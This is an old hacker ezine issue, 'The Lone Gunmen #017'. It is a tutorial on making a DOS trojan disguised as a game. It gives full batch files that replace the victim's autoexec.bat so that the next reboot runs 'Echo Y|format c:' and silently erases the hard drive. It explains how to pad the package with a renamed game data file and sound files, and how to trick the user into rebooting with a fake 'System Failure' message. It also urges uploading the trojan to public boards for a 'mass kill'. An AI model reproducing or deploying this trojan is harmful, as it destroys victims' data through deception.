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The Lone Gunmen Issue 017

eZine's profile picture
Published in 
The Lone Gunmen
 · 26 Apr 2019

  

______________
| ___ ___ |
| |_ | | _| | ______ ______
|___| | | |___| |_ _| / \
| | | | | /----\/
| | | | | |
| | | | | | ___
| | | | __ | | <_ | Issue #:017
_| |_ _| |_| | | \___/ | Date:09\21\95
|______| () |_________| () \________/ ()
_ / / \ \ _
/ _ / THE LONE GUNMEN Presents: \ _ \
| | | |
| | How To fuck Over a Lammers Hard Drive| |
| | Written By: Falcon | |
| | | |
| | | |
| \____________________________________/ |
\________________________________________/




********************************STOP******************************************
*** In this day and age, anyone can get there hands on txt philez and that ***
*** means that even the YuppIe kids, who don't follow directions, can (and ***
*** will probly blow there faces,hands,fingers,noses,legs,nipples, and P-P ***
*** blown off, so befor you continue read the File "DISCLAIM.ER!" that was ***
*** included in the .ZIP file. it basicly says that you cant sew me if you ***
*** get fucked. **************************************************************
******************************************************************************




Well, here is a nifty way to format a lamers HD just by using a batch file(yes
a batch file and dos format command...read on to see how), and even more
important, how to get the guy to run the program.

I know this is a round about way to get the job accomplished, It will get
them exicted and then let them down bigtime!

The best way to get people to run your batch file is 1) make it a .com file
and 2) make it look like a really kick ass game. To give it some size(no one
is gonna believe that a 1000 byte file is a cool game) copy a file such
as the shareware doom.wad to a different name...say phantom.dat, and put some
.voc or .wav files with it just to make it look better.

-----------------------------------------------------------------------------
Now heres the install file:

1: @echo off
2: copy *.* c:\
3: c:
4: cd \
5: md phantom
6: copy *.* c:\phantom
7: cd \phantom
8: Echo ~Type Phantom to Play~

Here's what each line does...

1: If you don't know what this does go fuck a duck!
2: Copy all the files from where ever he unzipped them to the root directory;
-This serves 2 purposes...
1) Make the hard disk spin and seem like its doing something
2) replace his autoexec.bat with his new improved one.
3: make sure you're on the c drive
4: makes the "games" directory
6: again only to make the hard disk spin.
7: change to the "games" directory.
8: TElls the user what to type to run the game.

-----------------------------------------------------------------------------
Here's The main program.

1: Echo System Failure! PLease reboot to Re-Allocate the HD.
2: pause

okay...

1: Tells the user to reboot...which will run the new autoexec.bat file.
**Anything can be put in number 1...just choose something real stupid
to use here.**
2: Waits for key press to bring him back to the prompt.

------------------------------------------------------------------------------
And here's the autoexec.bat:

1: @echo off
2: Echo Y|format c:
3: echo ~~SYSTEM FAILURE! NO START UP FILES FOUND!~~

what they do:

1: duh!
2: This is the key to the program...it uses the dos format command but doesn't
ask for a yes/no answer!
*It will however Show the thing that asks it with a Y in the answer
spot...But hopefully he will not notice it till its to late.*
3: Oops...did you do that...:)

------------------------------------------------------------------------------

Just remeber to make the files .com(I've got the utilz to do it one airways)
...and that people that have any common sence will realise what is going
on with this when they see the allocate thing...part of the reason why I
put it there...if they are smart enough to notice it most likely you could
think up something better for them. If they are to stupid to notice
such a Bull Shit statement they deserve to lose their HD.


Remember, it's not cool to do this to a friends computer, or upload such
a program to my board...but any PD board is fine(Mass kill).
Oh yeah...its illegal to fuck with other peoples computers too...Just to
warn you.






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